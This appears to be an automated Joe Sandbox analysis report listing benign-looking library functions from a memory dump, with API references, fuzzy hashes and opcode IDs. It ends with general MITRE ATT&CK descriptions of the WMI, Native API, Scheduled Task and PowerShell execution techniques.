Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

Infinity, xrefs: 6C4E9EB7
NaN, xrefs: 6C4E9EC1

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

